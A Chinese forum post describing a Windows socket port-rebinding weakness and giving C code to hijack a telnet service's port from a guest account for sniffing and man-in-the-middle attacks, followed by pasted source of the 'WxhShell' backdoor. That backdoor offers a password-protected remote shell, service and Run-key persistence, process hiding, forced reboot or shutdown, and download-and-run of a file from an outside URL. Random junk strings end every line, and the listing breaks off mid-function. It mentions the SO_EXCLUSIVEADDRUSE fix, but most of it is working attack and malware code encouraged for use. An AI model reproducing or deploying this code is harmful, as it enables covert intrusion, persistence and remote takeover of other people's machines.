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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: B3t>M) 9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); sZB6zTX J  
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  saddr.sin_family = AF_INET; nQHd\/B  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); mX?{2[  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); n1>nnH]G  
K@~#Gdnl  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 E <SE Fn  
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  这意味着什么?意味着可以进行如下的攻击: I yN9 +  
rM=A"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 yj R O9  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Hc%\9{zH  
hF7mJ\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 PcHFj+:  
)YtL=w?L'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ejY5n2V#=  
Nt-SCLDM  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 jGhg~-m  
Z^6(&Rh  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \87J~K'  
z]|[VM?4L  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9p rsL#Fn  
r(T/^<  
  #include AS_+}*WSFQ  
  #include J\$l3i/I  
  #include R<HZC;x  
  #include    KAcri<^G  
  DWORD WINAPI ClientThread(LPVOID lpParam);   U(=9&c@]  
  int main() PjW+V`  
  { c\{}FGC  
  WORD wVersionRequested; $#FlnM<=  
  DWORD ret; 97wy;'J[u  
  WSADATA wsaData; WbWW=(N'd  
  BOOL val; MxEAs}MDv  
  SOCKADDR_IN saddr; LC\:xia{X  
  SOCKADDR_IN scaddr; J8BT%  
  int err; z8 ;#H tr  
  SOCKET s; aZ>\*1   
  SOCKET sc; i!oj&&  
  int caddsize; )V/lRR&  
  HANDLE mt; ?67I|@^  
  DWORD tid;   u=}bq{  
  wVersionRequested = MAKEWORD( 2, 2 ); o[[r_v_d  
  err = WSAStartup( wVersionRequested, &wsaData ); I*S`I|{J  
  if ( err != 0 ) { 3ZlGbP#3w  
  printf("error!WSAStartup failed!\n"); s [F' h-y  
  return -1; =G F  
  } x <\D@X^  
  saddr.sin_family = AF_INET; $,,>R[;w  
   *Yu\YjLPG  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +Z<Q^5w@  
j~*Z7iu  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3@`H<tP'6o  
  saddr.sin_port = htons(23); <4e*3WSG  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kok^4VV  
  { H"rzRd; S  
  printf("error!socket failed!\n"); nWF4[<t  
  return -1; UZ\*]mxT  
  } '(X[ w=WXy  
  val = TRUE; * m&: Yje  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `-EH0'w~"  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `h9)`*  
  { V<V\0n!0  
  printf("error!setsockopt failed!\n"); _<*GU@  
  return -1; 2 C]la  
  } 7$'mC9  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; SKpPR;=q|:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 J1p75c%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7(~H77  
zMYd|2bc  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "I}Z2  
  { 8Cs$NUU  
  ret=GetLastError(); 0yC`9g)(  
  printf("error!bind failed!\n"); a950M7  
  return -1; iQ{&&>V%  
  } *Z]WaDw  
  listen(s,2); /4 LR0`A'  
  while(1) 42>m,fb2[  
  { iqednk%  
  caddsize = sizeof(scaddr); ^_KD&%M6  
  //接受连接请求 bxdXZB n  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +Sd,l>8\  
  if(sc!=INVALID_SOCKET) R=?po=  
  { yb4tJu$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); LJ(n?/z%  
  if(mt==NULL) aR)en{W  
  { V9E6W*IE  
  printf("Thread Creat Failed!\n"); H[7cA9FI  
  break; x:?a;muf  
  } '#N5i  
  } #jLaIXms  
  CloseHandle(mt); ?S&w0}R  
  } i ,IM?+4  
  closesocket(s); KHlIK`r  
  WSACleanup(); lke~>0;  
  return 0; >GznG[Ku  
  }   +:,`sdv6o  
  DWORD WINAPI ClientThread(LPVOID lpParam) rFq@ ]t3q  
  { N8XC~Dh{  
  SOCKET ss = (SOCKET)lpParam; J,1osG<6x  
  SOCKET sc; }, fo+vRM  
  unsigned char buf[4096]; \5[D7}  
  SOCKADDR_IN saddr; D=~B7b:  
  long num; 1U7,X6=~  
  DWORD val; (eRKR2% q  
  DWORD ret; 2b#(X'ob  
  //如果是隐藏端口应用的话,可以在此处加一些判断 wVp4c?s  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {x|kg;  
  saddr.sin_family = AF_INET; /iUUM t'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); P YF.#@":&  
  saddr.sin_port = htons(23); 9y^kb+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?cO8'4 bq  
  { %Nm @f'  
  printf("error!socket failed!\n"); l7'{OB L  
  return -1; lkg"'p{  
  } R#/?AD&  
  val = 100; o'eI(@{F=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *f TG8h  
  { j6e}7  
  ret = GetLastError(); 7rdw`  
  return -1; ^S#\O>GHP  
  } ("?&p3];b  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NuD[-;N]  
  { "brRME3  
  ret = GetLastError(); }. xrJ52Tz  
  return -1; B.YMP;7>  
  } ;vJ\]T ml  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2Io6s '  
  { Ns2,hQFc  
  printf("error!socket connect failed!\n"); m4"N+_j  
  closesocket(sc); 6QII&Fg  
  closesocket(ss); U=kx`j>  
  return -1; ~M ,{ _  
  } 5pM&h~M  
  while(1) `V&1]C8x  
  { Vd%v_Ek  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _r\$NgJIM  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 PUP"ky^q"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 e"fN~`NhY  
  num = recv(ss,buf,4096,0); ;}/U+`=D?  
  if(num>0) ^qeY9O  
  send(sc,buf,num,0); ?GO SeV  
  else if(num==0) j2 }  
  break; j,C,5l=  
  num = recv(sc,buf,4096,0); j0iAU1~_VX  
  if(num>0) 1yBt/U2  
  send(ss,buf,num,0); :xFu_%7  
  else if(num==0) Qz@IK:B}  
  break; ?< cM^$lI>  
  } @~k5+Z  
  closesocket(ss); ~+N76BX  
  closesocket(sc); *;hY.EuoFz  
  return 0 ; (*6 m^  
  } p^1zIC>F  
7v_i>_m]  
JiFA]M`^Q  
========================================================== ]*N:;J  
V1SqX:;b&  
下边附上一个代码,,WXhSHELL >ZT& `E  
Vi|7%!j<  
========================================================== y?pD(u  
M18qa,fK{  
#include "stdafx.h" +Edzjf~Tt  
9u,8q:I.?  
#include <stdio.h> G'f9N^w  
#include <string.h> w 66 v\x~  
#include <windows.h> u8YB)kG  
#include <winsock2.h> 7tSJniB  
#include <winsvc.h> Wy<[(Pd   
#include <urlmon.h> MpO RGd  
KD% TxK  
#pragma comment (lib, "Ws2_32.lib") }* QO]_U?  
#pragma comment (lib, "urlmon.lib") $Y6I_U  
{L@+(I  
#define MAX_USER   100 // 最大客户端连接数 ,~4H{{<j  
#define BUF_SOCK   200 // sock buffer :qKF58W  
#define KEY_BUFF   255 // 输入 buffer } q%jO  
2_;]  
#define REBOOT     0   // 重启 :{LAVMG&^  
#define SHUTDOWN   1   // 关机 'LVn^TB_f&  
&E bI Op  
#define DEF_PORT   5000 // 监听端口 6M ^IwE  
Ji;SY{~kv  
#define REG_LEN     16   // 注册表键长度 @}<"N  
#define SVC_LEN     80   // NT服务名长度 Q%ruQ#  
8|O=/m^]  
// 从dll定义API N&T:Lt_N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yN*:.al  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +TC1nkX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CqqXVF3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); LA-_3UJx  
B?LXI3sQZ  
// wxhshell配置信息 q-3]jHChh  
struct WSCFG { ddsUz1%l  
  int ws_port;         // 监听端口 0$6*o}N%  
  char ws_passstr[REG_LEN]; // 口令 b'i'GJBQ+$  
  int ws_autoins;       // 安装标记, 1=yes 0=no .~3kGf":  
  char ws_regname[REG_LEN]; // 注册表键名 `Da+75 f6v  
  char ws_svcname[REG_LEN]; // 服务名 '\`6ot8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^ [k0k(_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3{"byfO#%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mjb { ~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no NbtGlSs8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" AoBoFZLl3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >$\Bu]{1  
z3a-+NjDm  
}; WsR+Np@c  
4qhWm"&CM  
// default Wxhshell configuration C.~ j'5N  
struct WSCFG wscfg={DEF_PORT, $>*Yhz `  
    "xuhuanlingzhe", _\.{6""  
    1, k#O,j pbB  
    "Wxhshell", $X*mdji  
    "Wxhshell", #~^btL'dHF  
            "WxhShell Service", #,L~w  
    "Wrsky Windows CmdShell Service", 7^$)VBQ/  
    "Please Input Your Password: ", '0|o`qoLzA  
  1, o0ZIsrr  
  "http://www.wrsky.com/wxhshell.exe", ?aBj#  
  "Wxhshell.exe" mEFw|M{  
    }; Yd:Q`#7A  
%KtU1A(["  
// 消息定义模块 !}y1CA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hSB?@I4s<\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $Pxb1E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d?A}qA[(  
char *msg_ws_ext="\n\rExit."; -v+&pG?m  
char *msg_ws_end="\n\rQuit."; )RN<GW'  
char *msg_ws_boot="\n\rReboot..."; ;QBh;jg4  
char *msg_ws_poff="\n\rShutdown..."; B**Nn!}0  
char *msg_ws_down="\n\rSave to "; 5 L/x-i  
DG(%-w8p"  
char *msg_ws_err="\n\rErr!"; 2j&v;dmh<  
char *msg_ws_ok="\n\rOK!"; X\Y}oa."A  
F8<"AI  
char ExeFile[MAX_PATH];  G2`${aMS  
int nUser = 0; _qn?2u3mnR  
HANDLE handles[MAX_USER]; \M{[f=6llh  
int OsIsNt; Fj1NN  
 ?CP2AK  
SERVICE_STATUS       serviceStatus; |;+qld[4z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a?F!,=F  
lCJ6Ur;  
// 函数声明 %@?A_jS  
int Install(void); TVaA>]Fv  
int Uninstall(void); kA4@`YCl  
int DownloadFile(char *sURL, SOCKET wsh); ,2L$G&?  
int Boot(int flag); *6Q|}b[qcD  
void HideProc(void); +r]zs^'  
int GetOsVer(void); ~`qEWvPn  
int Wxhshell(SOCKET wsl); ^s&W>hTX:  
void TalkWithClient(void *cs); u%3i0BajY  
int CmdShell(SOCKET sock); `&!k!FZY*  
int StartFromService(void); T%$jWndI  
int StartWxhshell(LPSTR lpCmdLine); ZF6c{~D  
Ipe n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,\YAnKn6_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y- )x Tn  
UMU2^$\iS  
// 数据结构和表定义 :ofBzTNwZ  
SERVICE_TABLE_ENTRY DispatchTable[] = ?A?F.n`  
{ =Mj 0:rW  
{wscfg.ws_svcname, NTServiceMain}, =dZHYO^Cv  
{NULL, NULL} * **a2Z/(  
}; :z&7W<  
8|@9{  
// 自我安装 e(?]SU|  
int Install(void) =2Cj,[$  
{ :>+\17tx  
  char svExeFile[MAX_PATH]; 29&bbfU  
  HKEY key; SmhGZ  
  strcpy(svExeFile,ExeFile); I9?Ec6a_  
\]uV!)V5B  
// 如果是win9x系统,修改注册表设为自启动 V`kMCE;?l  
if(!OsIsNt) { -]srp;=i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;"kaF!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <lE?,jl  
  RegCloseKey(key); XJ1=m   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LzML%J62  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |kJ%`j(7R  
  RegCloseKey(key); )Ry<a$Q3  
  return 0; M f~}/h  
    } );FS7R  
  } ]p7jhd=  
} T/pqSmVpM  
else { ^v&D;<&R  
15U(={  
// 如果是NT以上系统,安装为系统服务 ,ho3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q{0R=jb  
if (schSCManager!=0) :|+Qe e  
{ ?QZ"JX])  
  SC_HANDLE schService = CreateService E&`Nh5JfC  
  ( 1oiRWRe  
  schSCManager, aNxAZMg  
  wscfg.ws_svcname, l{Dct\ #s  
  wscfg.ws_svcdisp, K2{aNv R)t  
  SERVICE_ALL_ACCESS, k(t}^50^j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iK5_u2]Q  
  SERVICE_AUTO_START, bq>_qpr  
  SERVICE_ERROR_NORMAL, b2,!g }I  
  svExeFile, .,0bE  
  NULL, =WIJ>#Go<  
  NULL, 1vzb8.  
  NULL, #bX9Tu0  
  NULL, 99xEm  
  NULL -fS.9+k0/  
  ); 2ZcKK8X;7  
  if (schService!=0) zK|i='XSf  
  { PjKEC N  
  CloseServiceHandle(schService); ^r6!l.  
  CloseServiceHandle(schSCManager); [F!Y%Zp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w[tmCn+  
  strcat(svExeFile,wscfg.ws_svcname); }e2VY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vS\Nd1~?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SAY LG  
  RegCloseKey(key); ZJPmR/OV_  
  return 0; ^D%FX!$  
    } ziPR>iz-  
  } ",6M)3{|c  
  CloseServiceHandle(schSCManager); #>lG7Ns|4  
} #J (~_%Wi  
} AN!s{7V3  
Ae]sGU|?'  
return 1; kQ1w5mCh  
} ;oZ)Wt  
R;,g1m|]  
// 自我卸载 >/[GTqi  
int Uninstall(void) ApBWuXp|u  
{ F8-?dpf'  
  HKEY key; R^?/' dr  
2c6g>?  
if(!OsIsNt) { #Cpd9|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @+3kb.P%7  
  RegDeleteValue(key,wscfg.ws_regname); .p0Clr!  
  RegCloseKey(key); 1 zw*/dp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *(C(tPhC  
  RegDeleteValue(key,wscfg.ws_regname); HK`I\,K  
  RegCloseKey(key); ZKHG!`X0  
  return 0; pRkP~ZISU  
  } )nL`H^  
} fU=B4V4@  
} Mmpfto%i  
else { _XCOSomL`  
> pI;%'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PB;eHy  
if (schSCManager!=0) 3k#~yaoI  
{ ]vwW]O7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !*R qCS,  
  if (schService!=0) VD_$$Gn*q  
  { -py@DzK  
  if(DeleteService(schService)!=0) { FEVEp  
  CloseServiceHandle(schService); PDs@?nz,  
  CloseServiceHandle(schSCManager); $Y69@s%f  
  return 0; 1UPC e  
  } '>r7V  
  CloseServiceHandle(schService); wgCa58H76  
  } Z#rB}  
  CloseServiceHandle(schSCManager); 8Z(Mvq]f&  
} : q#Xq;Wp  
} :Nofp&  
phM>.y_  
return 1; !pD*p)`s  
} BD(Z5+EU1  
L 4!{h|  
// 从指定url下载文件 B95B|tU>.  
int DownloadFile(char *sURL, SOCKET wsh) /!c${W!sY  
{ ,^uEYT}j  
  HRESULT hr; RzWXKBI\E]  
char seps[]= "/"; 0#nPbe,Lj  
char *token; IiG6<|d8H  
char *file; oYukLr  
char myURL[MAX_PATH]; [VE8V-  
char myFILE[MAX_PATH]; /`mks1:pK  
<J^MCqp!v  
strcpy(myURL,sURL); h5(4*$%  
  token=strtok(myURL,seps); Hy^N!rBxfO  
  while(token!=NULL)  4^M  
  { gLOEh6  
    file=token; AvfNwE  
  token=strtok(NULL,seps); y&V@^ "`  
  } 9I4K}R  
rx]  @A  
GetCurrentDirectory(MAX_PATH,myFILE); ax(c#  
strcat(myFILE, "\\"); V#iPj'*   
strcat(myFILE, file); V,%=AR5  
  send(wsh,myFILE,strlen(myFILE),0); R6]Gk)5  
send(wsh,"...",3,0); 6_FE4RR[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r,h%[JKM  
  if(hr==S_OK) >r !|sC  
return 0; RJd(~1  
else Ymg|4 %O@  
return 1; )c)vTZy  
[n :<8ho  
} }hhGu\  
Y\No4w ^|d  
// 系统电源模块 , GP?amh  
int Boot(int flag) k7T`bYv  
{ neLAEHV  
  HANDLE hToken; >U[j]V]  
  TOKEN_PRIVILEGES tkp; %^ !,t:d  
Dy:|g1>  
  if(OsIsNt) { FY#C.mL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5yP\I+Fm  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )v.=jup[  
    tkp.PrivilegeCount = 1; MB]<Dyj,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8|\8O@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~XO Ts  
if(flag==REBOOT) { xCc[#0R{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fTK3,s1=  
  return 0; ?`PvL!'  
} m)'=G%y  
else { $w`=z<2yo1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =`H@%  
  return 0; 'F9jq  
} OG>}M$ Ora  
  } ,,q10iF  
  else { 9-fLz?J  
if(flag==REBOOT) { Xg;}R:g '  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cWe"%I  
  return 0; KV0]m^@x  
}  2*^j  
else { xD~5UER  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) YwjKAyLU  
  return 0; J^Wa8Q;9lX  
} [J?aD`{#O  
} F^];U+J  
<+?7H\b  
return 1; Z/Dx,zIR  
} ;'#8tGv=  
woGAf)vV#  
// win9x进程隐藏模块 t*1fLumXR  
void HideProc(void) 7`DBS^O]dG  
{ $#9;)8J  
%[ Z \S0C  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e?8FN. q  
  if ( hKernel != NULL ) $Avjnm  
  { pL/DZ|S3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *V8<:OG|e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7o# I,d~  
    FreeLibrary(hKernel); E/|To  
  } l 3ko?k  
-z)n?(pftm  
return; 8c9*\S  
} _x(o*v[Pt  
\o*5  
// 获取操作系统版本 )<h*eS{  
int GetOsVer(void) \Je0CD=e`  
{ 3q\,$*D.  
  OSVERSIONINFO winfo; -g*4(w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =5~jx  
  GetVersionEx(&winfo); FQ<Ju.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [+n*~  
  return 1; o,AAC  
  else ,St#Vla  
  return 0; qNB<T('  
} 7:plQ !7^  
$P^q!H4D  
// 客户端句柄模块 S2sQOM@  
int Wxhshell(SOCKET wsl) N4F.Y"R$(  
{ 6xTuNE1  
  SOCKET wsh; MyJ%`@+1  
  struct sockaddr_in client; ib#KpEk  
  DWORD myID; =Y|VgV  
r1 !@hT  
  while(nUser<MAX_USER) `{3<{wgw  
{ L*xhGoC=  
  int nSize=sizeof(client); ?PeJlpYzV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zPn+ V7F  
  if(wsh==INVALID_SOCKET) return 1; "O3tq =Q  
vWz m @  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =.Pw`.  
if(handles[nUser]==0) S"NqM[W  
  closesocket(wsh); I_} SB|  
else CkOz  
  nUser++; N +Yxz;Mg  
  } [8 ]z|bM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @\0ez<.p}  
bnf'4PAt  
  return 0; /?5 1D@  
} +Vb.lH[av  
_n0CfH.v  
// 关闭 socket }~e8e   
void CloseIt(SOCKET wsh) ,<(}|go   
{ :}'=`wa  
closesocket(wsh); >%}C^gu)  
nUser--; 6m* QX+  
ExitThread(0); 3]}D`Qs6  
} % ?0:vn  
@vC4[:"pD}  
// 客户端请求句柄 N7b8m?!  
void TalkWithClient(void *cs) Xv ]W(f1  
{ FtP0krO(  
Xix L  R  
  SOCKET wsh=(SOCKET)cs; 5sj4;w[  
  char pwd[SVC_LEN]; 7zXvnxYE  
  char cmd[KEY_BUFF]; )WNzWUfn=z  
char chr[1]; }7|1  
int i,j;  HSjlD{R  
3`t#UY).F  
  while (nUser < MAX_USER) { Kr gFKRgGj  
eenH0Ovv  
if(wscfg.ws_passstr) { 7Wf/$vRab  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4[m`#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &#{Z( h.de  
  //ZeroMemory(pwd,KEY_BUFF); V\ZGd+?  
      i=0; UOv+T8f=  
  while(i<SVC_LEN) { !Q2d(H>  
XRM_x:+]  
  // 设置超时 $v4.sl:x  
  fd_set FdRead; ysQ_[ ]/  
  struct timeval TimeOut; RIWxs Zt  
  FD_ZERO(&FdRead); ugdQAg  
  FD_SET(wsh,&FdRead); vOn`/5-  
  TimeOut.tv_sec=8; .F98G/s  
  TimeOut.tv_usec=0; TV)h`\|Z*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M'7f O3&|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M8MR oA6F  
u@W|gLT1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &47i"%  
  pwd=chr[0]; /?uPEKr  
  if(chr[0]==0xd || chr[0]==0xa) { 1F5XvQl  
  pwd=0; cM(:xv  
  break; ,k +IPkN+  
  } CpUk Cgg  
  i++; [\^ n=  
    } h]IxXP?h[  
lHN5Dr  
  // 如果是非法用户,关闭 socket sXLq*b?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^bGNq X  
} LM:vsG  
]R+mKUZ9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {2O1"|s ,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gh/EU/~d  
8bTn^!1  
while(1) { "0"nw 2g?  
>{q]&}^U  
  ZeroMemory(cmd,KEY_BUFF); C)um9}  
5V?& 8GTe  
      // 自动支持客户端 telnet标准   {% rA1g  
  j=0; 0IsPIi"7  
  while(j<KEY_BUFF) { B~1 _28\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H4WP~(__  
  cmd[j]=chr[0]; Q:2>}QgX}  
  if(chr[0]==0xa || chr[0]==0xd) { !a{^=#qq&I  
  cmd[j]=0; LC,F <>w1  
  break; b o6d)Q  
  } zU5v /'h>d  
  j++; ISYXH9V  
    } (ZS}G8  
]FJjgu<  
  // 下载文件 =6j&4p `  
  if(strstr(cmd,"http://")) { lp.ldajN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x>**;#7)  
  if(DownloadFile(cmd,wsh)) SL Ws*aq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ak7bJ~)X=  
  else hi_NOx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ih58 <Up5  
  } 66g9l9wm(  
  else { S5gyr&dm  
Y z<3JRw  
    switch(cmd[0]) { u0JB\)(-/h  
  UFXaEl}R   
  // 帮助 QmQ=q7  
  case '?': { %6|nb:Oa  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5MroNr  
    break; TJ10s%,V  
  } 8H%;WU9-  
  // 安装 iN bIp"W  
  case 'i': { }5ret  
    if(Install()) vNyf64)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D>`xzt'.6  
    else /j #n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gj1&tjK  
    break; 0\X\izQ5  
    } d6Ht2  
  // 卸载 8v:T.o;<  
  case 'r': { %"q9:{m  
    if(Uninstall()) S ^!n45l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DBo%fYst  
    else J9\Cm!H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2] z 8: a  
    break; X2#2C/6#u  
    } ,1y@Z 5wy  
  // 显示 wxhshell 所在路径 {kA0z2Fe  
  case 'p': { !44/sr'  
    char svExeFile[MAX_PATH]; 6LvW?z(J  
    strcpy(svExeFile,"\n\r"); Lm iOhx  
      strcat(svExeFile,ExeFile); 0CZ :Bo[3  
        send(wsh,svExeFile,strlen(svExeFile),0); t;|@o\  
    break; Xc =Y  
    } MU($|hwiL  
  // 重启 _('=b/  
  case 'b': { qEyyT[:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z_LFIz*c  
    if(Boot(REBOOT)) ^P[e1?SZG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g?c xp +  
    else { K%,2=.  
    closesocket(wsh); 4.k0<  
    ExitThread(0); ?k+xSV  
    } [u =+3b  
    break; X1DF*wI  
    } 6gL #C&  
  // 关机 #Vnkvvv  
  case 'd': { A` N,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); > $O]Eu!  
    if(Boot(SHUTDOWN)) 6O7'!@@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WltQ63u  
